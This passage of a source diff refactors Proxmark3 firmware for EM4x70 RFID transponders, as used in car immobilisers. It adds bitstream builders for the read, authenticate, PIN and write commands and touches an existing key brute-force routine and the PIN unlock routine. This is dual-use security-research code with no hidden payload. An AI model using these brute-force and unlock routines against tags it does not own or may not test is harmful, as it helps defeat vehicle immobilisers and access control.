DPRINTF_ERROR(("No bits to receive -- coding error?")); + parameters_valid = false; + } else if (recv->bitcount > EM4X70_MAX_RECEIVE_BITCOUNT) { + DPRINTF_ERROR(("Too many bits to receive -- coding error? %d", recv->bitcount)); + parameters_valid = false; + } else if (recv->bitcount % 8u != 0u) { + DPRINTF_ERROR(("PIN must transmit multiple of 8 bits -- coding error?", recv->bitcount)); + parameters_valid = false; + } + } while (0); + // early return when parameter validation fails + if (!parameters_valid) { + return false; + } + + log_reset(); + + int bits_received = 0; + // TIMING SENSITIVE SECTION -- only debug output on unrecoverable errors + if (send_bitstream_internal(send)) { + + // Wait TWALB (write access lock bits) + WaitTicks(EM4X70_T_TAG_TWALB); + + // <-- Receive ACK + if (check_ack()) { + + // Writes Lock Bits + WaitTicks(EM4X70_T_TAG_WEE); + + bits_received = em4x70_receive(recv->one_bit_per_byte, recv->bitcount); + if (bits_received != recv->bitcount) { + DPRINTF_INFO(("Invalid data received length: %d, expected %d", bits_received, recv->bitcount)); + } + } else { + DPRINTF_INFO(("No ACK received after sending command")); + } + } else { + DPRINTF_INFO(("Failed to send command")); + } + // END TIMING SENSITIVE SECTION + + // Convert the received bits into byte array (bits are received in reverse order ... this simplifies reasoning / debugging) + bool result = (bits_received == recv->bitcount); + + // output errors via debug prints and dump log as appropriate + encoded_bit_array_to_bytes(recv->one_bit_per_byte, bits_received, command_bitstream->received_data_converted_to_bytes); + log_dump(); + bitstream_dump(command_bitstream); + + return result; +} +static bool send_bitstream_wait_ack_wait_ack(em4x70_command_bitstream_t *command_bitstream) { + + const em4x70_bitstream_t *send = &command_bitstream->to_send; + em4x70_bitstream_t *recv = &command_bitstream->to_receive; + + // Validate the parameters before proceeding + bool parameters_valid = true; + do { + if (command_bitstream->command == 0) { + DPRINTF_ERROR(("No command specified -- coding error?")); + parameters_valid = false; + } else if (command_bitstream->command != EM4X70_COMMAND_WRITE) { + DPRINTF_ERROR(("Unexpected command (only supports WRITE): 0x%x (%d)", command_bitstream->command, command_bitstream->command)); + parameters_valid = false; + } + + if (send->bitcount == 0) { + DPRINTF_ERROR(("No bits to send -- coding error?")); + parameters_valid = false; + } else if (send->bitcount > EM4X70_MAX_SEND_BITCOUNT) { + DPRINTF_ERROR(("Too many bits to send -- coding error? %d", send->bitcount)); + parameters_valid = false; + } + if (recv->bitcount != 0) { + DPRINTF_ERROR(("Expecting to receive data (%d bits) -- coding error?", recv->bitcount)); + parameters_valid = false; + } + } while (0); + // early return when parameter validation fails + if (!parameters_valid) { + DPRINTF_ERROR(("Parameter validation failed")); + return false; + } + + bool result = false; + log_reset(); + + // TIMING SENSITIVE SECTION -- only debug output on unrecoverable errors + if (send_bitstream_internal(send)) { + // Wait TWA + WaitTicks(EM4X70_T_TAG_TWA); + // look for ACK sequence + if (check_ack()) { + // now EM4x70 needs EM4X70_T_TAG_TWEE (EEPROM write time) + // for saving data and should return with ACK + WaitTicks(EM4X70_T_TAG_WEE); + if (check_ack()) { + result = true; + } else { + DPRINTF_INFO(("No second ACK received after sending command")); + } + } else { + DPRINTF_INFO(("No ACK received after sending command")); + } + } else { + DPRINTF_INFO(("Failed to send command")); + } + // END TIMING SENSITIVE SECTION + + log_dump(); + bitstream_dump(command_bitstream); + return result; +} +#endif // #pragma region // Functions to send bitstreams, with options to receive data +#if 1 // #pragma region // Create bitstreams for each type of EM4x70 command + +static bool add_bit_to_bitstream(em4x70_bitstream_t *s, bool b) { + uint8_t i = s->bitcount; + uint8_t bits_to_add = 1u; + + if (i > EM4X70_MAX_BITSTREAM_BITS - bits_to_add) { + DPRINTF_ERROR(("Too many bits to add to bitstream: %d, %d", i, bits_to_add)); + return false; + } + + s->one_bit_per_byte[i] = b ? 1 : 0; + s->bitcount++; + return true; +} +static bool add_nibble_to_bitstream(em4x70_bitstream_t *s, uint8_t nibble, bool add_fifth_parity_bit) { + uint8_t i = s->bitcount; + uint8_t bits_to_add = add_fifth_parity_bit ? 5u : 4u; + + if (i > EM4X70_MAX_BITSTREAM_BITS - bits_to_add) { + DPRINTF_ERROR(("Too many bits to add to bitstream: %d, %d", i, bits_to_add)); + return false; + } + if ((nibble & 0xFu) != nibble) { + DPRINTF_ERROR(("Invalid nibble value: 0x%x", nibble)); + return false; + } + + // transmit the most significant bit first + s->one_bit_per_byte[i + 0] = nibble & 0x08u ? 1 : 0; + s->one_bit_per_byte[i + 1] = nibble & 0x04u ? 1 : 0; + s->one_bit_per_byte[i + 2] = nibble & 0x02u ? 1 : 0; + s->one_bit_per_byte[i + 3] = nibble & 0x01u ? 1 : 0; + + // add parity if requested + if (add_fifth_parity_bit) { + static const uint16_t parity = 0x6996u; // 0b0110'1001'1001'0110 -- value at bit index defines parity bit for that nibble value + s->one_bit_per_byte[i + 4] = (parity & (1u << nibble)) == 0 ? 0 : 1; + } + s->bitcount += bits_to_add; + return true; +} +static bool add_byte_to_bitstream(em4x70_bitstream_t *s, uint8_t b) { + uint8_t i = s->bitcount; + uint8_t bits_to_add = 8u; + + if (i > EM4X70_MAX_BITSTREAM_BITS - bits_to_add) { + DPRINTF_ERROR(("Too many bits to add to bitstream: %d, %d", i, bits_to_add)); + return false; + } + // transmit the most significant bit first + s->one_bit_per_byte[i + 0] = b & 0x80u ? 1 : 0; + s->one_bit_per_byte[i + 1] = b & 0x40u ? 1 : 0; + s->one_bit_per_byte[i + 2] = b & 0x20u ? 1 : 0; + s->one_bit_per_byte[i + 3] = b & 0x10u ? 1 : 0; + s->one_bit_per_byte[i + 4] = b & 0x08u ? 1 : 0; + s->one_bit_per_byte[i + 5] = b & 0x04u ? 1 : 0; + s->one_bit_per_byte[i + 6] = b & 0x02u ? 1 : 0; + s->one_bit_per_byte[i + 7] = b & 0x01u ? 1 : 0; + s->bitcount += bits_to_add; + return true; +} + + +static bool create_legacy_em4x70_bitstream_for_cmd_id(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity) { + const uint8_t expected_bits_to_send = 4u; + bool result = true; + memset(out_cmd_bitstream, 0, sizeof(em4x70_command_bitstream_t)); + out_cmd_bitstream->command = EM4X70_COMMAND_ID; + uint8_t cmd = 0x3u; // CMD + Parity bit == 0b001'1 + result = result && add_nibble_to_bitstream(&out_cmd_bitstream->to_send, cmd, false); + out_cmd_bitstream->to_receive.bitcount = 32; + if (out_cmd_bitstream->to_send.bitcount != expected_bits_to_send) { + DPRINTF_ERROR(("INTERNAL ERROR: Expected %d bits to be added to send buffer, but only %d bits were added", expected_bits_to_send, out_cmd_bitstream->to_send.bitcount)); + result = false; + } + return result; +} +static bool create_legacy_em4x70_bitstream_for_cmd_um1(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity) { + const uint8_t expected_bits_to_send = 4u; + bool result = true; + memset(out_cmd_bitstream, 0, sizeof(em4x70_command_bitstream_t)); + out_cmd_bitstream->command = EM4X70_COMMAND_UM1; + uint8_t cmd = 0x5u; // CMD + Parity bit == 0b010'1 + result = result && add_nibble_to_bitstream(&out_cmd_bitstream->to_send, cmd, false); + out_cmd_bitstream->to_receive.bitcount = 32; + if (out_cmd_bitstream->to_send.bitcount != expected_bits_to_send) { + DPRINTF_ERROR(("INTERNAL ERROR: Expected %d bits to be added to send buffer, but only %d bits were added", expected_bits_to_send, out_cmd_bitstream->to_send.bitcount)); + result = false; + } + return result; +} +static bool create_legacy_em4x70_bitstream_for_cmd_um2(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity) { + const uint8_t expected_bits_to_send = 4u; + bool result = true; + memset(out_cmd_bitstream, 0, sizeof(em4x70_command_bitstream_t)); + out_cmd_bitstream->command = EM4X70_COMMAND_UM2; + uint8_t cmd = 0xFu; // CMD + Parity bit == 0b111'1 + result = result && add_nibble_to_bitstream(&out_cmd_bitstream->to_send, cmd, false); + out_cmd_bitstream->to_receive.bitcount = 64; + if (out_cmd_bitstream->to_send.bitcount != expected_bits_to_send) { + DPRINTF_ERROR(("INTERNAL ERROR: Expected %d bits to be added to send buffer, but only %d bits were added", expected_bits_to_send, out_cmd_bitstream->to_send.bitcount)); + result = false; + } + return true; +} +static bool create_legacy_em4x70_bitstream_for_cmd_auth(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity, const uint8_t *rnd, const uint8_t *frnd) { + const uint8_t expected_bits_to_send = 95u; + bool result = true; + + memset(out_cmd_bitstream, 0, sizeof(em4x70_command_bitstream_t)); + out_cmd_bitstream->command = EM4X70_COMMAND_AUTH; + + em4x70_bitstream_t *s = &out_cmd_bitstream->to_send; + + uint8_t cmd = 0x6u; // CMD + Parity bit == 0b011'0 + result = result && add_nibble_to_bitstream(s, cmd, false); + + // Reader: [RM][0][Command][N55..N0][0000000][f(RN)27..f(RN)0] + // + // ----> HACK <----- : [ 0 ] == extra bit of zero (!?) + // Command is 4 bits : [ 1 .. 4 ] <---- HACK: Always sent with command parity + // N is 56 bits : [ 5 .. 60 ] + // 7 bits of 0 : [61 .. 67 ] + // f(RN) is 28 bits : [68 .. 95 ] + // Total bits to send: 96 bits (not the 95 bits that are actually expected) + + // Fills in bits at indexes 5 .. 60 + for (uint_fast8_t i = 0; i < 7; ++i) { + result = result && add_byte_to_bitstream(s, rnd[i]); + } + + // Send seven diversity bits ... indexes 61 .. 67 + for (uint_fast8_t i = 0; i < 7; ++i) { + result = result && add_bit_to_bitstream(s, 0); + } + + // Send first 24 bit of f(RN) ... indexes 68 .. 91 + for (uint_fast8_t i = 0; i < 3; ++i) { + result = result && add_byte_to_bitstream(s, frnd[i]); + } + // and send the final 4 bits of f(RN) ... indexes 92 .. 95 + do { + uint8_t nibble = (frnd[3] >> 4u) & 0xFu; + result = result && add_nibble_to_bitstream(s, nibble, false); + } while (0); + + out_cmd_bitstream->to_receive.bitcount = 20; + if (out_cmd_bitstream->to_send.bitcount != expected_bits_to_send) { + DPRINTF_ERROR(("INTERNAL ERROR: Expected %d bits to be added to send buffer, but only %d bits were added", expected_bits_to_send, out_cmd_bitstream->to_send.bitcount)); + result = false; + } + + return result; +} +static bool create_legacy_em4x70_bitstream_for_cmd_pin(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity, const uint8_t *tag_id, const uint32_t pin) { + const uint8_t expected_bits_to_send = 68; + bool result = true; + memset(out_cmd_bitstream, 0, sizeof(em4x70_command_bitstream_t)); + + em4x70_bitstream_t *s = &out_cmd_bitstream->to_send; + + out_cmd_bitstream->command = EM4X70_COMMAND_PIN; + + uint8_t cmd = 0x9u; // CMD + Parity bit == 0b100'1 + result = result && add_nibble_to_bitstream(s, cmd, false); + + // Send tag's ID ... indexes 4 .. 35 + // e.g., tag_id points to &tag.data[4] ... &tag.data[7] + for (uint_fast8_t i = 0; i < 4; i++) { + uint8_t b = tag_id[3 - i]; + result = result && add_byte_to_bitstream(s, b); + } + + // Send the PIN ... indexes 36 .. 67 + for (uint_fast8_t i = 0; i < 4 ; i++) { + // BUGBUG ... Non-portable ... likely depends on little-endian vs. big-endian (presumes little-endian) + uint8_t b = (pin >> (i * 8u)) & 0xFFu; + result = result && add_byte_to_bitstream(s, b); + } + + out_cmd_bitstream->to_receive.bitcount = 32; + if (out_cmd_bitstream->to_send.bitcount != expected_bits_to_send) { + DPRINTF_ERROR(("INTERNAL ERROR: Expected %d bits to be added to send buffer, but only %d bits were added", expected_bits_to_send, out_cmd_bitstream->to_send.bitcount)); + result = false; + } + return result; +} +static bool create_legacy_em4x70_bitstream_for_cmd_write(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity, uint16_t new_data, uint8_t address) { + const uint8_t expected_bits_to_send = 34u; + bool result = true; + memset(out_cmd_bitstream, 0, sizeof(em4x70_command_bitstream_t)); + out_cmd_bitstream->command = EM4X70_COMMAND_WRITE; + + em4x70_bitstream_t *s = &out_cmd_bitstream->to_send; + + uint8_t cmd = 0xAu; // CMD + Parity bit == 0b101'0 + result = result && add_nibble_to_bitstream(s, cmd, false); + + if ((address & 0x0Fu) != address) { + // only lower 4 bits are valid for address + DPRINTF_ERROR(("Invalid address value: 0x%x", address)); + result = false; + } + // Send address data with its even parity bit ... indexes 4 .. 8 + result = result && add_nibble_to_bitstream(s, address, true); + + // Split into nibbles ... Being explicit here because + // the client sent a uint16_t, but the order of the bytes + // is reversed relative to what is going to be sent. + // Thus, must swap the bytes before splitting into nibbles. + // TODO: Fix client and arm code to only use byte arrays..... + uint8_t nibbles[4] = { + (new_data >> 4) & 0xFu, + (new_data >> 0) & 0xFu, + (new_data >> 12) & 0xFu, + (new_data >> 8) & 0xFu, + }; + + // Send each of the four nibbles of data with their respective parity ... indexes 9 .. 28 + uint8_t column_parity = 0; + for (uint_fast8_t i = 0; i < 4; ++i) { + uint8_t nibble = nibbles[i]; + column_parity ^= nibble; + result = result && add_nibble_to_bitstream(s, nibble, true); + } + + // add the column parity ... indexes 29 .. 32 ... but manually add zero as fifth bit (it's not a parity) + result = result && add_nibble_to_bitstream(s, column_parity, false); + result = result && add_bit_to_bitstream(s, 0); + + out_cmd_bitstream->to_receive.bitcount = 0; + if (out_cmd_bitstream->to_send.bitcount != expected_bits_to_send) { + DPRINTF_ERROR(("INTERNAL ERROR: Expected %d bits to be added to send buffer, but only %d bits were added", expected_bits_to_send, out_cmd_bitstream->to_send.bitcount)); + result = false; + } + return result; +} +const em4x70_command_generators_t legacy_em4x70_command_generators = { + .id = create_legacy_em4x70_bitstream_for_cmd_id, + .um1 = create_legacy_em4x70_bitstream_for_cmd_um1, + .um2 = create_legacy_em4x70_bitstream_for_cmd_um2, + .auth = create_legacy_em4x70_bitstream_for_cmd_auth, + .pin = create_legacy_em4x70_bitstream_for_cmd_pin, + .write = create_legacy_em4x70_bitstream_for_cmd_write +}; +#endif // #pragma endregion // Create bitstreams for each type of EM4x70 command + +// TODO: define and use structs for rnd, frnd, response +// Or, just use the structs defined by IDLIB48? +// log entry/exit point +static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *response) { + em4x70_command_bitstream_t auth_cmd; + + const em4x70_command_generators_t *generator = &legacy_em4x70_command_generators; + generator->auth(&auth_cmd, g_deprecated_command_parity, rnd, frnd); + + bool result = send_bitstream_and_read(&auth_cmd); + if (result) { + encoded_bit_array_to_bytes(auth_cmd.to_receive.one_bit_per_byte, 24, response); + } + return result ? PM3_SUCCESS : PM3_ESOFT; } // Sets one (reflected) byte and returns carry bit @@ -412,26 +1149,25 @@ static int bruteforce(const uint8_t address, const uint8_t *rnd, const uint8_t * break; default: - Dbprintf("Bad block number given: %d", address); + DPRINTF_ERROR(("Bad block number given: %d", address)); return PM3_ESOFT; } // Report progress every 256 attempts if ((k % 0x100) == 0) { - Dbprintf("Trying: %04X", k); + DPRINTF_ALWAYS(("Trying: %04X", k)); } // Due to performance reason, we only try it once. Therefore you need a very stable RFID communcation. if (authenticate(temp_rnd, frnd, auth_resp) == PM3_SUCCESS) { - if (g_dbglevel >= DBG_INFO) - Dbprintf("Authentication success with rnd: %02X%02X%02X%02X%02X%02X%02X", temp_rnd[0], temp_rnd[1], temp_rnd[2], temp_rnd[3], temp_rnd[4], temp_rnd[5], temp_rnd[6]); + DPRINTF_INFO(("Authentication success with rnd: %02X%02X%02X%02X%02X%02X%02X", temp_rnd[0], temp_rnd[1], temp_rnd[2], temp_rnd[3], temp_rnd[4], temp_rnd[5], temp_rnd[6])); response[0] = (k >> 8) & 0xFF; response[1] = k & 0xFF; return PM3_SUCCESS; } if (BUTTON_PRESS() || data_available()) { - Dbprintf("EM4x70 Bruteforce Interrupted"); + DPRINTF_ALWAYS(("EM4x70 Bruteforce Interrupted at key %04X", k)); return PM3_EOPABORTED; } } @@ -439,84 +1175,35 @@ static int bruteforce(const uint8_t address, const uint8_t *rnd, const uint8_t * return PM3_ESOFT; } +// log entry/exit point static int send_pin(const uint32_t pin) { + em4x70_command_bitstream_t send_pin_cmd; + const em4x70_command_generators_t *generator = &legacy_em4x70_command_generators; + generator->pin(&send_pin_cmd, g_deprecated_command_parity, &g_tag.data[4], pin); - // sends pin code for unlocking - if (find_listen_window(true)) { - - // send PIN command - em4x70_send_nibble(EM4X70_COMMAND_PIN, true); - - // --> Send TAG ID (bytes 4-7) - for (int i = 0; i < 4; i++) { - em4x70_send_byte(tag.data[7 - i]); - } - - // --> Send PIN - for (int i = 0; i < 4 ; i++) { - em4x70_send_byte((pin >> (i * 8)) & 0xff); - } - - // Wait TWALB (write access lock bits) - WaitTicks(EM4X70_T_TAG_TWALB); - - // <-- Receive ACK - if (check_ack()) { - - // Writes Lock Bits - WaitTicks(EM4X70_T_TAG_WEE); - // <-- Receive header + ID - uint8_t tag_id[EM4X70_MAX_RECEIVE_LENGTH]; - int count_of_bits_received = em4x70_receive(tag_id, 32); - if (count_of_bits_received < 32) { - Dbprintf("Invalid ID Received"); - return PM3_ESOFT; - } - encoded_bit_array_to_bytes(tag_id, count_of_bits_received, &tag.data[4]); - return PM3_SUCCESS; - } - } - - return PM3_ESOFT; + bool result = send_bitstream_wait_ack_wait_read(&send_pin_cmd); + return result ? PM3_SUCCESS : PM3_ESOFT; } +// log entry/exit point static int write(const uint16_t word, const uint8_t address) { + em4x70_command_bitstream_t write_cmd; - // writes to specified
- if (find_listen_window(true)) { + const em4x70_command_generators_t *generator = &legacy_em4x70_command_generators; + generator->write(&write_cmd, g_deprecated_command_parity, word, address); - // send write command - em4x70_send_nibble(EM4X70_COMMAND_WRITE, true); - - // send address data with parity bit - em4x70_send_nibble(address, true); - - // send data word - em4x70_send_word(word); - - // Wait TWA - WaitTicks(EM4X70_T_TAG_TWA); - - // look for ACK sequence - if (check_ack()) { - - // now EM4x70 needs EM4X70_T_TAG_TWEE (EEPROM write time) - // for saving data and should return with ACK - WaitTicks(EM4X70_T_TAG_WEE); - if (check_ack()) { - - return PM3_SUCCESS; - } - } + bool result = send_bitstream_wait_ack_wait_ack(&write_cmd); + if (!result) { + DPRINTF_INFO(("Failed to write data")); } - return PM3_ESOFT; + return result ? PM3_SUCCESS : PM3_ESOFT; } static bool find_listen_window(bool command) { int cnt = 0; - while (cnt < EM4X70_T_WAITING_FOR_LIW) { + while (cnt < EM4X70_T_PULSES_TO_SEARCH_FOR_LIW) { /* 80 ( 64 + 16 ) 80 ( 64 + 16 ) @@ -527,16 +1214,18 @@ static bool find_listen_window(bool command) { if (check_pulse_length(get_pulse_length(RISING_EDGE), (2 * EM4X70_T_TAG_FULL_PERIOD) + EM4X70_T_TAG_HALF_PERIOD) && check_pulse_length(get_pulse_length(RISING_EDGE), (2 * EM4X70_T_TAG_FULL_PERIOD) + EM4X70_T_TAG_HALF_PERIOD) && check_pulse_length(get_pulse_length(FALLING_EDGE), (2 * EM4X70_T_TAG_FULL_PERIOD) + EM4X70_T_TAG_FULL_PERIOD) && - check_pulse_length(get_pulse_length(FALLING_EDGE), EM4X70_T_TAG_FULL_PERIOD + (2 * EM4X70_T_TAG_HALF_PERIOD))) { + check_pulse_length(get_pulse_length(FALLING_EDGE), (1 * EM4X70_T_TAG_FULL_PERIOD) + EM4X70_T_TAG_FULL_PERIOD)) { if (command) { /* Here we are after the 64 duration edge. - * em4170 says we need to wait about 48 RF clock cycles. - * depends on the delay between tag and us - * - * I've found between 4-5 quarter periods (32-40) works best - */ - WaitTicks(4 * EM4X70_T_TAG_QUARTER_PERIOD); + * em4170 says we need to wait about 48 RF clock cycles. + * depends on the delay between tag and us + * + * I've found 32-40 field cycles works best + * Allow user adjustment in range: 24-48 field cycles? + * On PM3Easy I've seen success at 24..40 field + */ + WaitTicks(EM4X70_T_DELAY_FROM_LIW_TO_RM); // Send RM Command em4x70_send_bit(0); em4x70_send_bit(0); @@ -557,7 +1246,7 @@ static bool find_listen_window(bool command) { static void encoded_bit_array_to_bytes(const uint8_t *bits, int count_of_bits, uint8_t *out) { if (count_of_bits % 8 != 0) { - Dbprintf("Should have a multiple of 8 bits, was sent %d", count_of_bits); + DPRINTF_ERROR(("Should have a multiple of 8 bits, was sent %d", count_of_bits)); } int num_bytes = count_of_bits / 8; // We should have a multiple of 8 here @@ -580,39 +1269,21 @@ static uint8_t encoded_bit_array_to_byte(const uint8_t *bits, int count_of_bits) return byte; } -static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t expected_byte_count) { - - int retries = EM4X70_COMMAND_RETRIES; - while (retries) { - retries--; - - if (find_listen_window(true)) { - uint8_t bits[EM4X70_MAX_RECEIVE_LENGTH] = {0}; - size_t out_length_bits = expected_byte_count * 8; - em4x70_send_nibble(command, command_parity); - int len = em4x70_receive(bits, out_length_bits); - if (len < out_length_bits) { - Dbprintf("Invalid data received length: %d, expected %d", len, out_length_bits); - return false; - } - encoded_bit_array_to_bytes(bits, len, bytes); - return true; - } - } - return false; -} - - - /** * em4x70_read_id * * read pre-programmed ID (4 bytes) */ static bool em4x70_read_id(void) { + em4x70_command_bitstream_t read_id_cmd; + const em4x70_command_generators_t *generator = &legacy_em4x70_command_generators; + generator->id(&read_id_cmd, g_deprecated_command_parity); - return send_command_and_read(EM4X70_COMMAND_ID, &tag.data[4], 4); - + bool result = send_bitstream_and_read(&read_id_cmd); + if (result) { + encoded_bit_array_to_bytes(read_id_cmd.to_receive.one_bit_per_byte, read_id_cmd.to_receive.bitcount, &g_tag.data[4]); + } + return result; } /** @@ -621,9 +1292,17 @@ static bool em4x70_read_id(void) { * read user memory 1 (4 bytes including lock bits) */ static bool em4x70_read_um1(void) { + em4x70_command_bitstream_t read_um1_cmd; + const em4x70_command_generators_t *generator = &legacy_em4x70_command_generators; + generator->um1(&read_um1_cmd, g_deprecated_command_parity); - return send_command_and_read(EM4X70_COMMAND_UM1, &tag.data[0], 4); + bool result = send_bitstream_and_read(&read_um1_cmd); + if (result) { + encoded_bit_array_to_bytes(read_um1_cmd.to_receive.one_bit_per_byte, read_um1_cmd.to_receive.bitcount, &g_tag.data[0]); + } + bitstream_dump(&read_um1_cmd); + return result; } /** @@ -632,17 +1311,26 @@ static bool em4x70_read_um1(void) { * read user memory 2 (8 bytes) */ static bool em4x70_read_um2(void) { + em4x70_command_bitstream_t read_um2_cmd; + const em4x70_command_generators_t *generator = &legacy_em4x70_command_generators; + generator->um2(&read_um2_cmd, g_deprecated_command_parity); - return send_command_and_read(EM4X70_COMMAND_UM2, &tag.data[24], 8); + bool result = send_bitstream_and_read(&read_um2_cmd); + if (result) { + encoded_bit_array_to_bytes(read_um2_cmd.to_receive.one_bit_per_byte, read_um2_cmd.to_receive.bitcount, &g_tag.data[24]); + } + + bitstream_dump(&read_um2_cmd); + return result; } - static bool find_em4x70_tag(void) { // function is used to check whether a tag on the proxmark is an - // EM4170 tag or not -> speed up "lf search" process + // EM4x70 tag or not -> speed up "lf search" process return find_listen_window(false); } +// This is the ONLY function that receives data from the tag static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read) { uint32_t pl; @@ -654,11 +1342,11 @@ static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read) { // 12 Manchester 1's (may miss some during settle period) // 4 Manchester 0's - // Skip a few leading 1's as it could be noisy + // Skip about half of the leading 1's as signal could start off noisy WaitTicks(6 * EM4X70_T_TAG_FULL_PERIOD); // wait until we get the transition from 1's to 0's which is 1.5 full windows - for (int i = 0; i < EM4X70_T_READ_HEADER_LEN; i++) { + for (int i = 0; i < EM4X70_T_PULSES_TO_SEARCH_FOR_HEADER_TRANSITION; i++) { pl = get_pulse_length(edge); if (check_pulse_length(pl, 3 * EM4X70_T_TAG_HALF_PERIOD)) { foundheader = true; @@ -671,13 +1359,14 @@ static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read) { return 0; } - // Skip next 3 0's, header check consumes the first 0 + // Skip next 3 0's, (the header check above consumed the first 0) for (int i = 0; i < 3; i++) { // If pulse length is not 1 bit, then abort early if (!check_pulse_length(get_pulse_length(edge), EM4X70_T_TAG_FULL_PERIOD)) { return 0; } } + log_received_bit_start(GetTicks()); // identify remaining bits based on pulse lengths // between listen windows only pulse lengths of 1, 1.5 and 2 are possible @@ -727,42 +1416,54 @@ static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read) { break; } } + log_received_bit_end(GetTicks()); + log_received_bits(bits, bit_pos); return bit_pos; } +// CLIENT ENTRY POINTS void em4x70_info(const em4x70_data_t *etd, bool ledcontrol) { bool success = false; + bool success_with_UM2 = false; // Support tags with and without command parity bits - command_parity = etd->parity; + g_deprecated_command_parity = false; init_tag(); em4x70_setup_read(); // Find the Tag if (get_signalproperties() && find_em4x70_tag()) { - // Read ID, UM1 and UM2 - success = em4x70_read_id() && em4x70_read_um1() && em4x70_read_um2(); + // Read ID and UM1 (both em4070 and em4170) + success = em4x70_read_id() && em4x70_read_um1(); + // em4170 also has UM2, V4070 does not (e.g., 1998 Porsche Boxster) + success_with_UM2 = em4x70_read_um2(); } StopTicks(); lf_finalize(ledcontrol); int status = success ? PM3_SUCCESS : PM3_ESOFT; - reply_ng(CMD_LF_EM4X70_INFO, status, tag.data, sizeof(tag.data)); + size_t data_size = + success && success_with_UM2 ? 32 : + success ? 20 : + 0; + + // not returning the data to the client about actual length read? + reply_ng(CMD_LF_EM4X70_INFO, status, g_tag.data, data_size); } void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { int status = PM3_ESOFT; - command_parity = etd->parity; + g_deprecated_command_parity = false; // Disable to prevent sending corrupted data to the tag. - if (command_parity) { - Dbprintf("Use of `--par` option with `lf em 4x70 write` is disabled to prevent corrupting tag data"); - reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); - return; + if (g_deprecated_command_parity) { + DPRINTF_ALWAYS(("Use of `--par` option with `lf em 4x70 write` is non-functional and may corrupt data on the tag.")); + // reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + // return; } init_tag(); @@ -785,14 +1486,14 @@ void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { StopTicks(); lf_finalize(ledcontrol); - reply_ng(CMD_LF_EM4X70_WRITE, status, tag.data, sizeof(tag.data)); + reply_ng(CMD_LF_EM4X70_WRITE, status, g_tag.data, sizeof(g_tag.data)); } void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) { int status = PM3_ESOFT; - command_parity = etd->parity; + g_deprecated_command_parity = false; init_tag(); em4x70_setup_read(); @@ -818,7 +1519,7 @@ void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) { StopTicks(); lf_finalize(ledcontrol); - reply_ng(CMD_LF_EM4X70_UNLOCK, status, tag.data, sizeof(tag.data)); + reply_ng(CMD_LF_EM4X70_UNLOCK, status, g_tag.data, sizeof(g_tag.data)); } void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { @@ -827,13 +1528,13 @@ void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { uint8_t response[3] = {0}; - command_parity = etd->parity; + g_deprecated_command_parity = false; // Disable to prevent sending corrupted data to the tag. - if (command_parity) { - Dbprintf("Use of `--par` option with `lf em 4x70 auth` is disabled to prevent corrupting tag data"); - reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); - return; + if (g_deprecated_command_parity) { + DPRINTF_ALWAYS(("Use of `--par` option with `lf em 4x70 auth` is non-functional.")); + // reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + // return; } init_tag(); @@ -855,13 +1556,13 @@ void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) { int status = PM3_ESOFT; uint8_t response[2] = {0}; - command_parity = etd->parity; + g_deprecated_command_parity = false; // Disable to prevent sending corrupted data to the tag. - if (command_parity) { - Dbprintf("Use of `--par` option with `lf em 4x70 brute` is disabled to prevent corrupting tag data"); - reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); - return; + if (g_deprecated_command_parity) { + DPRINTF_ALWAYS(("Use of `--par` option with `lf em 4x70 brute` is non-functional and may corrupt data on the tag.")); + // reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + // return; } init_tag(); @@ -883,13 +1584,13 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { int status = PM3_ESOFT; - command_parity = etd->parity; + g_deprecated_command_parity = false; // Disable to prevent sending corrupted data to the tag. - if (command_parity) { - Dbprintf("Use of `--par` option with `lf em 4x70 setpin` is disabled to prevent corrupting tag data"); - reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); - return; + if (g_deprecated_command_parity) { + DPRINTF_ALWAYS(("Use of `--par` option with `lf em 4x70 setpin` is non-functional and may corrupt data on the tag.")); + // reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + // return; } init_tag(); @@ -925,20 +1626,20 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { StopTicks(); lf_finalize(ledcontrol); - reply_ng(CMD_LF_EM4X70_SETPIN, status, tag.data, sizeof(tag.data)); + reply_ng(CMD_LF_EM4X70_SETPIN, status, g_tag.data, sizeof(g_tag.data)); } void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) { int status = PM3_ESOFT; - command_parity = etd->parity; + g_deprecated_command_parity = false; // Disable to prevent sending corrupted data to the tag. - if (command_parity) { - Dbprintf("Use of `--par` option with `lf em 4x70 setkey` is disabled to prevent corrupting tag data"); - reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); - return; + if (g_deprecated_command_parity) { + DPRINTF_ALWAYS(("Use of `--par` option with `lf em 4x70 setkey` is non-functional and may corrupt data on the tag.")); + // reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + // return; } init_tag(); @@ -964,13 +1665,13 @@ void em4x70_write_key(const 